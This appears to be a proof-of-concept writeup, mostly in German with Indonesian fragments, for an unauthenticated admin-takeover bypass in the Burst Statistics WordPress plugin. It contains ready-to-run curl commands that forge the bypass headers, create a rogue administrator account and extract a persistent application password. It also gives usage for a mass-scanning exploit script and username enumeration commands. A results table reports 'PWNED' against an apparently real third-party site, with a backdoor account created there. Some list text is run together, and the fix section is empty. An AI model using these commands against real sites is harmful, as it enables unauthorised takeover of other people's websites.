
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Nicht authentifizierte Authentifizierungsumgehung zur Admin-Kontoübernahme | Proof of Concept
| Element | Detail |
|---|---|
| CVE ID | CVE-2026-8181 |
| Plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Betroffene Versionen | 3.4.0 – 3.4.1.1 |
| Gepatchte Version | 3.4.2 |
| CVSS-Score | 9.8 (Kritisch) |
| Typ | CWE-287: Improper Authentication |
| Angriffsvektor | Netzwerk / Remote / Unauthentifiziert |
| Aktive Installationen | ~200,000+ |
| Entdecker | PRISM, Wordfence Threat Intelligence |
| Veröffentlichungsdatum | 8. Mai 2026 |
Eine kritische Authentifizierungsumgehung im WordPress-Plugin Burst Statistics in den Versionen 3.4.0 bis 3.4.1.1 ermöglicht es Angreifern ohne Authentifizierung, vollen Administratorzugriff auf WordPress zu erhalten, indem sie lediglich den Admin-Benutzernamen kennen. Die Folge ist eine vollständige Übernahme des Admin-Kontos, einschließlich der Erstellung neuer Konten, der Änderung von Inhalten und der Installation schädlicher Plugins.
Die Schwachstelle befindet sich in der Methode is_mainwp_authenticated() in der Datei includes/Frontend/class-mainwp-proxy.php:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
Hauptfehler: wp_authenticate_application_password(null, $username, $password) gibt null zurück (kein WP_Error), wenn Application Passwords nicht verfügbar sind, was auftritt bei:
wp_is_application_passwords_available() false zurückgibtis_ssl() false zurückgibtDa is_wp_error(null) = false ist, fährt der Code fort zu get_user_by('login', $username), der nur basierend auf dem Benutzernamen authentifiziert, ohne jegliche Passwortvalidierung.
Die Methode has_admin_access() wird beim Hook plugins_loaded (Priorität 9) in class-burst.php Zeile 118 aufgerufen:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
Dieser Hook wird VOR der REST-API-Routenverarbeitung ausgeführt, sodass wp_set_current_user() Admin-Rechte für DIE GESAMTE ANFRAGE gewährt – nicht nur für den Burst-Endpunkt.
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
Interaktiver Modus:
.txt, eine Domain pro Zeile)Format targets.txt:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
Die Tests wurden auf WordPress 6.9 mit Burst Statistics 3.4.1.1 (localhost) durchgeführt:
| Test | Ergebnis | Nachweis |
|---|---|---|
Zugriff auf /wp/v2/users/me ohne Authentifizierung | FEHLGESCHLAGEN | rest_not_logged_in |
| Zugriff mit Bypass-Headern | ERFOLGREICH | Admin-Profil + E-Mail + Rollen |
| Neues Administrator-Konto erstellen | ERFOLGREICH | User ID 2, role: administrator |
| WordPress-Einstellungen lesen | ERFOLGREICH | Site title, admin email, URL |
| Application Password erhalten | ERFOLGREICH | Base64 token admin:password |
| Liste installierter Plugins | ERFOLGREICH | Vollständige Liste mit Versionen |
| Ziel | Ergebnis |
|---|---|
ausdermitte-binz.de | ERFOLGREICH PWNED — Burst 3.4.1.1, Bypass über binzwpadmin, Konto xenon1337 erstellt (ID:30) |
Der Fix in Version 3.4.2 behebt mehrere Probleme: